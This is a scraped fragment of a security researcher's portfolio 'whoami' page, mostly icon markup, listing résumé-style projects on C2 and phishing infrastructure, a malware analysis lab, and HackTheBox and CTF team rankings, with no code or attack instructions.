more\u003c/li\u003e \u003c/ul\u003e \u003cdiv id=\"gallery-e9f1f8cfc2f2d941e7394d7bd897aaee\" class=\"gallery\"\u003e \u003cfigure\u003e \u003cimg class=\"my-0 rounded-md\" loading=\"lazy\" decoding=\"async\" fetchpriority=\"auto\" alt=\"C2 Infrastructure\" width=\"6488\" height=\"4168\" src=\"/whoami/c2/c2.drawio_hu_9c7467601d2d2361.png\" srcset=\"/whoami/c2/c2.drawio_hu_9c7467601d2d2361.png 800w,/whoami/c2/c2.drawio_hu_708777ca6f0e5691.png 1280w\" sizes=\"(min-width: 768px) 50vw, 65vw\" data-zoom-src=\"/whoami/c2/c2.drawio.png\" /\u003e \u003cfigcaption\u003eAdvanced C2 Infrastructure.\u003c/figcaption\u003e \u003c/figure\u003e \u003c/div\u003e \u003cdiv class=\"flex flex-row flex-wrap items-center space-x-2\"\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e \u003c!-- Uploaded to: SVG Repo, www.svgrepo.com, Generator: SVG Repo Mixer Tools --\u003e \u003csvg width=\"800px\" height=\"800px\" viewBox=\"-117 0 490 490\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" preserveAspectRatio=\"xMidYMid\"\u003e \u003cg\u003e \u003cpath d=\"M21,165.75 L0,172.606 L21.75,175.125 L21,165.75\" fill=\"#3C4929\"\u003e \u003c/path\u003e \u003cpath d=\"M19.955,206.806 L128,213.714 L236.045,206.806 L128,185.75 L19.955,206.806\" fill=\"#3C4929\"\u003e \u003c/path\u003e \u003cpath d=\"M234.5,175.125 L256,172.606 L234.5,166.875 L234.5,175.125\" fill=\"#3C4929\"\u003e \u003c/path\u003e \u003cpath d=\"M157.387,352.929 L213.993,366.325 L157.237,383.441 L157.387,352.929\" fill=\"#B7CA9D\"\u003e \u003c/path\u003e \u003cpath d=\"M19.955,92.221 L19.955,54.019 L128,0 L128.482,0.405 L128.234,48.901 L128,49.003 L127.595,50.12 L68.497,73.976 L67.955,158.013 L99.407,152.723 L128,147.002 L128,490.03 L95.631,473.853 L95.631,428.082 L67.277,416.744 L67.277,202.069 L19.955,206.806 L19.955,168.611 L0,172.606 L0,100.198 L19.955,92.221\" fill=\"#4B612C\"\u003e \u003c/path\u003e \u003cpath d=\"M99.408,152.727 L67.277,159.151 L67.277,73.28 L99.408,83.298 L99.408,152.727\" fill=\"#759C3E\"\u003e \u003c/path\u003e \u003cpath d=\"M183.925,27.959 L236.031,54.019 L236.031,92.221 L256,100.198 L256,172.6 L236.031,168.611 L236.031,206.806 L210.59,204.268 L188.709,202.069 L188.709,245.008 L236.045,245.008 L236.045,284.292 L214.048,286.266 L214.048,325.877 L160.356,336.549 L160.356,382.319 L213.926,366.42 L214.048,406.8 L160.356,428.082 L160.356,473.853 L128,490.03 L128,147.002 L156.572,152.712 L187.155,156.75 L187.155,73.966 L128.817,51.468 L128,49.003 L128,0 L183.925,27.959\" fill=\"#759C3E\"\u003e \u003c/path\u003e \u003cpath d=\"M160.356,61.941 L128,49.01 L67.277,73.28 L99.408,83.298 L160.356,61.941\" fill=\"#3C4929\"\u003e \u003c/path\u003e \u003cpath d=\"M67.277,73.28 L128,49.01 L140.775,54.114 L160.356,61.941 L188.709,73.294 L187.194,74.835 L158.318,83.826 L156.578,83.298 L128,73.28 L99.408,83.298 L67.277,73.28\" fill=\"#3C4929\"\u003e \u003c/path\u003e \u003cpath d=\"M156.578,83.298 L188.709,73.294 L188.709,159.158 L156.578,152.712 L156.578,83.298\" fill=\"#4B612C\"\u003e \u003c/path\u003e \u003c/g\u003e \u003c/svg\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan\u003eIAM\u003c/span\u003e \u003c/span\u003e \u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"\u003e\u003cpath fill=\"currentColor\" d=\"M0 336c0 79.5 64.5 144 144 144l368 0c70.7 0 128-57.3 128-128c0-61.9-44-113.6-102.4-125.4c4.1-10.7 6.4-22.4 6.4-34.6c0-53-43-96-96-96c-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32C167.6 32 96 103.6 96 192c0 2.7 .1 5.4 .2 8.1C40.2 219.8 0 273.2 0 336z\"/\u003e\u003c/svg\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan\u003eMulti-Cloud\u003c/span\u003e \u003c/span\u003e \u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 128 128\"\u003e\u003cg fill-rule=\"evenodd\"\u003e\u003cpath d=\"M77.941 44.5v36.836L46.324 62.918V26.082zm0 0\" fill=\"#5c4ee5\"/\u003e\u003cpath d=\"M81.41 81.336l31.633-18.418V26.082L81.41 44.5zm0 0\" fill=\"#4040b2\"/\u003e\u003cpath d=\"M11.242 42.36L42.86 60.776V23.941L11.242 5.523zm0 0M77.941 85.375L46.324 66.957v36.82l31.617 18.418zm0 0\" fill=\"#5c4ee5\"/\u003e\u003c/g\u003e\u003c/svg\u003e \u003c/span\u003e\u003c/span\u003e\u003cspan\u003eInfrastructure as Code\u003c/span\u003e \u003c/span\u003e \u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 128 128\"\u003e\u003cpath fill=\"#1A1918\" d=\"M126 64c0 34.2-27.8 62-62 62S2 98.2 2 64 29.8 2 64 2s62 27.8 62 62\"/\u003e\u003cpath fill=\"#FFF\" d=\"M65 39.9l16 39.6-24.1-19.1L65 39.9zm28.5 48.7L68.9 29.2c-.7-1.7-2.1-2.6-3.8-2.6-1.7 0-3.2.9-3.9 2.6L34 94.3h9.3L54 67.5l32 25.9c1.3 1 2.2 1.5 3.4 1.5 2.4 0 4.5-1.8 4.5-4.4.1-.5-.1-1.2-.4-1.9z\"/\u003e\u003c/svg\u003e \u003c/span\u003e\u003c/span\u003e\u003cspan\u003eAnsible\u003c/span\u003e \u003c/span\u003e \u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 128 128\"\u003e\u003cg fill-rule=\"evenodd\"\u003e\u003cpath d=\"M77.941 44.5v36.836L46.324 62.918V26.082zm0 0\" fill=\"#5c4ee5\"/\u003e\u003cpath d=\"M81.41 81.336l31.633-18.418V26.082L81.41 44.5zm0 0\" fill=\"#4040b2\"/\u003e\u003cpath d=\"M11.242 42.36L42.86 60.776V23.941L11.242 5.523zm0 0M77.941 85.375L46.324 66.957v36.82l31.617 18.418zm0 0\" fill=\"#5c4ee5\"/\u003e\u003c/g\u003e\u003c/svg\u003e \u003c/span\u003e\u003c/span\u003e\u003cspan\u003eTerraform\u003c/span\u003e \u003c/span\u003e \u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\u003c!-- Uploaded to: SVG Repo, www.svgrepo.com, Generator: SVG Repo Mixer Tools --\u003e \u003csvg fill=\"#000000\" width=\"800px\" height=\"800px\" viewBox=\"0 0 512 512\" xmlns=\"http://www.w3.org/2000/svg\"\u003eDomain Fronting Traffic Blending OpSec \u0026amp; Hardening Mythic C2 Framework Malleable C2 Profiles Reverse Proxy (Apache) \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Icon_24px_PhishingProtection_Color Initial Access Post-Exploitation Long-Haul Short-Haul Persistence Evasion \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Automated Failover \u003c?xml version=\"1.0\" ?\u003e Confidential RF Threat Detection Platform - Public-Sector Engagement November - April 2025 Created an on-premise and cloud Malware Analysis Lab. Analyzed Zeus Trojan - Banking Version and WannaCry Ransomware. Performed Static and Dynamic analysis on different samples. Reverse Engineered multiple samples and classified differences in tradecraft. Replicated malware behavior and re-created their base source codes. Researched coverd evasion techniques and tactics and mapped them to MITRE IDs. View it in action ↗ Everything That Transmits \u003c?xml version=\"1.0\" ?\u003e Malware Analysis \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Reverse Engineering \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Binary Analysis \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e Static Analysis \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Dynamic Analysis Assembly (x86) \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Windows PE \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e ionicons-v5-iAnti-Debugging \u0026amp; Evasion \u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e radio_signal [#1026] Created with Sketch. C2 Communication \u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e Wireshark Logo Icon This is shape (source) for Clarity vector icon theme for gtk Wireshark Logo Icon This is shape (source) for Clarity vector icon theme for gtk Jakub Jankiewicz Jakub Jankiewicz 2010 image/svg+xml Wireshark \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e ProcMon IDA / Ghidra MITRE ATT\u0026amp;CK Mapping \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Trojan \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Ransomware \u003c?xml version=\"1.0\" ?\u003e \u003crect height=\"9\" width=\"22\" x=\"2\" y=\"53\"/\u003e\u003crect height=\"2\" width=\"23\" x=\"31\" y=\"25\"/\u003e\u003cpath d=\"M43,15V2H26V6L22,9l4,1v5ZM31.707,7.293,34,9.58594l4.293-4.293L39.707,6.707l-5,5a.99963.99963,0,0,1-1.41406,0l-3-3Z\"/\u003e\u003cpath d=\"M42,56v6h8V56a3.98734,3.98734,0,0,0-2.24371-3.57751,3,3,0,1,0-3.51258,0A3.98734,3.98734,0,0,0,42,56Z\"/\u003e\u003cpath d=\"M59.75629,52.42249a3,3,0,1,0-3.51258,0A3.98734,3.98734,0,0,0,54,56v6h8V56A3.98734,3.98734,0,0,0,59.75629,52.42249Z\"/\u003e\u003cpath d=\"M38,56a3.98734,3.98734,0,0,0-2.24371-3.57751,3,3,0,1,0-3.51258,0A3.98734,3.98734,0,0,0,30,56v6h8Z\"/\u003e\u003cpath d=\"M30,24H16.62048a4.00006,4.00006,0,1,0-5.241,0H9.49622A4.49619,4.49619,0,0,0,5,28.49622V38H8V29.91418A2.38053,2.38053,0,0,1,9,28V52h4.5V38h1V52H19V27H30Z\"/\u003e\u003c/svg\u003e\u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"block p-6 rounded-lg shadow-2xl flex-1 ms-6 mb-10 break-words\"\u003e \u003cdiv class=\"flex justify-between\"\u003e \u003ch2 class=\"mt-0\"\u003eEvasive, OPSEC-Compliant Phishing Infrastructure for MFA Bypass\u003c/h2\u003e \u003ch3 class=\"\"\u003e \u003cspan class=\"flex cursor-pointer\"\u003e \u003cspan class=\"rounded-md border border-primary-400 px-1 py-[1px] text-xs font-normal text-primary-700 dark:border-primary-600 dark:text-primary-400\"\u003e current project \u003c/span\u003e \u003c/span\u003e \u003c/h3\u003e \u003c/div\u003e \u003cdiv class=\"mb-6\"\u003e \u003ch4 id=\"typeit-f707ef09ab0960a987bdd099fbae974a\"\u003e\u003c/h4\u003e \u003cscript\u003e document.addEventListener(\"DOMContentLoaded\", function () { new TypeIt(\"#typeit-f707ef09ab0960a987bdd099fbae974a\", { strings: [\"Personal Project.\"], speed: 5 , lifeLike: false , startDelay: 0 , breakLines: true , waitUntilVisible: true , loop: false }).go(); }); \u003c/script\u003e \u003cul\u003e \u003cli\u003eEngineered a Multi-Layered APT-style phishing infrastructure.\u003c/li\u003e \u003cli\u003eUsed trusted cloud services to achieve seamless evasion.\u003c/li\u003e \u003cli\u003eCrafted multiple Evilginx phishlets for multiple trusted services and websites.\u003c/li\u003e \u003c/ul\u003e \u003cdiv id=\"gallery-6ace593107433bbc49488d7a1a26743b\" class=\"gallery\"\u003e \u003cfigure\u003e \u003cimg class=\"my-0 rounded-md\" loading=\"lazy\" decoding=\"async\" fetchpriority=\"auto\" alt=\"C2 Infrastructure\" width=\"6488\" height=\"4168\" src=\"/whoami/c2/c2.drawio_hu_9c7467601d2d2361.png\" srcset=\"/whoami/c2/c2.drawio_hu_9c7467601d2d2361.png 800w,/whoami/c2/c2.drawio_hu_708777ca6f0e5691.png 1280w\" sizes=\"(min-width: 768px) 50vw, 65vw\" data-zoom-src=\"/whoami/c2/c2.drawio.png\" /\u003e \u003cfigcaption\u003eAdvanced C2 Infrastructure.\u003c/figcaption\u003e \u003c/figure\u003e \u003c/div\u003e \u003cdiv class=\"flex flex-row flex-wrap items-center space-x-2\"\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e \u003c!-- Uploaded to: SVG Repo, www.svgrepo.com, Generator: SVG Repo Mixer Tools --\u003e \u003csvg width=\"800px\" height=\"800px\" viewBox=\"-117 0 490 490\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" preserveAspectRatio=\"xMidYMid\"\u003e \u003cg\u003e \u003cpath d=\"M21,165.75 L0,172.606 L21.75,175.125 L21,165.75\" fill=\"#3C4929\"\u003e \u003c/path\u003e \u003cpath d=\"M19.955,206.806 L128,213.714 L236.045,206.806 L128,185.75 L19.955,206.806\" fill=\"#3C4929\"\u003e \u003c/path\u003e \u003cpath d=\"M234.5,175.125 L256,172.606 L234.5,166.875 L234.5,175.125\" fill=\"#3C4929\"\u003e \u003c/path\u003e \u003cpath d=\"M157.387,352.929 L213.993,366.325 L157.237,383.441 L157.387,352.929\" fill=\"#B7CA9D\"\u003e \u003c/path\u003e \u003cpath d=\"M19.955,92.221 L19.955,54.019 L128,0 L128.482,0.405 L128.234,48.901 L128,49.003 L127.595,50.12 L68.497,73.976 L67.955,158.013 L99.407,152.723 L128,147.002 L128,490.03 L95.631,473.853 L95.631,428.082 L67.277,416.744 L67.277,202.069 L19.955,206.806 L19.955,168.611 L0,172.606 L0,100.198 L19.955,92.221\" fill=\"#4B612C\"\u003e \u003c/path\u003e \u003cpath d=\"M99.408,152.727 L67.277,159.151 L67.277,73.28 L99.408,83.298 L99.408,152.727\" fill=\"#759C3E\"\u003e \u003c/path\u003e \u003cpath d=\"M183.925,27.959 L236.031,54.019 L236.031,92.221 L256,100.198 L256,172.6 L236.031,168.611 L236.031,206.806 L210.59,204.268 L188.709,202.069 L188.709,245.008 L236.045,245.008 L236.045,284.292 L214.048,286.266 L214.048,325.877 L160.356,336.549 L160.356,382.319 L213.926,366.42 L214.048,406.8 L160.356,428.082 L160.356,473.853 L128,490.03 L128,147.002 L156.572,152.712 L187.155,156.75 L187.155,73.966 L128.817,51.468 L128,49.003 L128,0 L183.925,27.959\" fill=\"#759C3E\"\u003e \u003c/path\u003e \u003cpath d=\"M160.356,61.941 L128,49.01 L67.277,73.28 L99.408,83.298 L160.356,61.941\" fill=\"#3C4929\"\u003e \u003c/path\u003e \u003cpath d=\"M67.277,73.28 L128,49.01 L140.775,54.114 L160.356,61.941 L188.709,73.294 L187.194,74.835 L158.318,83.826 L156.578,83.298 L128,73.28 L99.408,83.298 L67.277,73.28\" fill=\"#3C4929\"\u003e \u003c/path\u003e \u003cpath d=\"M156.578,83.298 L188.709,73.294 L188.709,159.158 L156.578,152.712 L156.578,83.298\" fill=\"#4B612C\"\u003e \u003c/path\u003e \u003c/g\u003e \u003c/svg\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan\u003eIAM\u003c/span\u003e \u003c/span\u003e \u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"\u003e\u003cpath fill=\"currentColor\" d=\"M0 336c0 79.5 64.5 144 144 144l368 0c70.7 0 128-57.3 128-128c0-61.9-44-113.6-102.4-125.4c4.1-10.7 6.4-22.4 6.4-34.6c0-53-43-96-96-96c-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32C167.6 32 96 103.6 96 192c0 2.7 .1 5.4 .2 8.1C40.2 219.8 0 273.2 0 336z\"/\u003e\u003c/svg\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan\u003eMulti-Cloud\u003c/span\u003e \u003c/span\u003e \u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 128 128\"\u003e\u003cg fill-rule=\"evenodd\"\u003e\u003cpath d=\"M77.941 44.5v36.836L46.324 62.918V26.082zm0 0\" fill=\"#5c4ee5\"/\u003e\u003cpath d=\"M81.41 81.336l31.633-18.418V26.082L81.41 44.5zm0 0\" fill=\"#4040b2\"/\u003e\u003cpath d=\"M11.242 42.36L42.86 60.776V23.941L11.242 5.523zm0 0M77.941 85.375L46.324 66.957v36.82l31.617 18.418zm0 0\" fill=\"#5c4ee5\"/\u003e\u003c/g\u003e\u003c/svg\u003e \u003c/span\u003e\u003c/span\u003e\u003cspan\u003eInfrastructure as Code\u003c/span\u003e \u003c/span\u003e \u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 128 128\"\u003e\u003cpath fill=\"#1A1918\" d=\"M126 64c0 34.2-27.8 62-62 62S2 98.2 2 64 29.8 2 64 2s62 27.8 62 62\"/\u003e\u003cpath fill=\"#FFF\" d=\"M65 39.9l16 39.6-24.1-19.1L65 39.9zm28.5 48.7L68.9 29.2c-.7-1.7-2.1-2.6-3.8-2.6-1.7 0-3.2.9-3.9 2.6L34 94.3h9.3L54 67.5l32 25.9c1.3 1 2.2 1.5 3.4 1.5 2.4 0 4.5-1.8 4.5-4.4.1-.5-.1-1.2-.4-1.9z\"/\u003e\u003c/svg\u003e \u003c/span\u003e\u003c/span\u003e\u003cspan\u003eAnsible\u003c/span\u003e \u003c/span\u003e \u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 128 128\"\u003e\u003cg fill-rule=\"evenodd\"\u003e\u003cpath d=\"M77.941 44.5v36.836L46.324 62.918V26.082zm0 0\" fill=\"#5c4ee5\"/\u003e\u003cpath d=\"M81.41 81.336l31.633-18.418V26.082L81.41 44.5zm0 0\" fill=\"#4040b2\"/\u003e\u003cpath d=\"M11.242 42.36L42.86 60.776V23.941L11.242 5.523zm0 0M77.941 85.375L46.324 66.957v36.82l31.617 18.418zm0 0\" fill=\"#5c4ee5\"/\u003e\u003c/g\u003e\u003c/svg\u003e \u003c/span\u003e\u003c/span\u003e\u003cspan\u003eTerraform\u003c/span\u003e \u003c/span\u003e \u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"flex mt-2\"\u003e \u003cspan class=\"rounded-full bg-primary-500 dark:bg-primary-400 text-neutral-50 dark:text-neutral-800 px-1.5 py-[1px] text-xs font-normal\"\u003e \u003cspan class=\"flex flex-row items-center\"\u003e\u003cspan class=\"mr-1\"\u003e\u003cspan class=\"relative block icon\"\u003e\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\u003c!-- Uploaded to: SVG Repo, www.svgrepo.com, Generator: SVG Repo Mixer Tools --\u003e \u003csvg fill=\"#000000\" width=\"800px\" height=\"800px\" viewBox=\"0 0 512 512\" xmlns=\"http://www.w3.org/2000/svg\"\u003eDomain Fronting Traffic Blending OpSec \u0026amp; Hardening Mythic C2 Framework Malleable C2 Profiles Reverse Proxy (Apache) \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Icon_24px_PhishingProtection_Color Initial Access Post-Exploitation Long-Haul Short-Haul Persistence Evasion \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Automated Failover \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e Malware Analysis Project November - April 2025 Created an on-premise and cloud Malware Analysis Lab. Analyzed Zeus Trojan - Banking Version and WannaCry Ransomware. Performed Static and Dynamic analysis on different samples. Reverse Engineered multiple samples and classified differences in tradecraft. Replicated malware behavior and re-created their base source codes. Researched coverd evasion techniques and tactics and mapped them to MITRE IDs. Malware Analysis Lab Architecture. \u003c?xml version=\"1.0\" ?\u003e Malware Analysis \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Reverse Engineering \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Binary Analysis \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e Static Analysis \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Dynamic Analysis Assembly (x86) \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Windows PE \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e ionicons-v5-iAnti-Debugging \u0026amp; Evasion \u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e radio_signal [#1026] Created with Sketch. C2 Communication \u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e Wireshark Logo Icon This is shape (source) for Clarity vector icon theme for gtk Wireshark Logo Icon This is shape (source) for Clarity vector icon theme for gtk Jakub Jankiewicz Jakub Jankiewicz 2010 image/svg+xml Wireshark \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e ProcMon IDA / Ghidra MITRE ATT\u0026amp;CK Mapping \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Trojan \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Ransomware CTFs and Ranking # HackTheBox Profile # Since Summer 2025, I started seriously and methodologically attacking HackTheBox Labs and sherlocks.\nYou can find my profile stats down below.\nEvilSamirLoussif ⬡ Hacker · Tunisia EvilSamirLoussif EU Machines 3 Profile ↗ 32 Roots 34 Users 1022 Global 1 Points 0 Bloods Hacker 0% Pro Hacker CTFTime Profile # I\u0026rsquo;m a part of Curiosity, a Tunisian CTF Team formed in July 2025.\nSo far, we achieved high rankings in major international and national CTFs, I currently focus on:\nDFIR Reverse Engineering and some Binary Exploitation tasks. You can view my CTFTime Profile Here .\n","externalUrl":null,"permalink":"/whoami/","section":"About","summary":"","title":"About","type":"whoami"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/books/","section":"Books","summary":"","title":"Books","type":"books"}]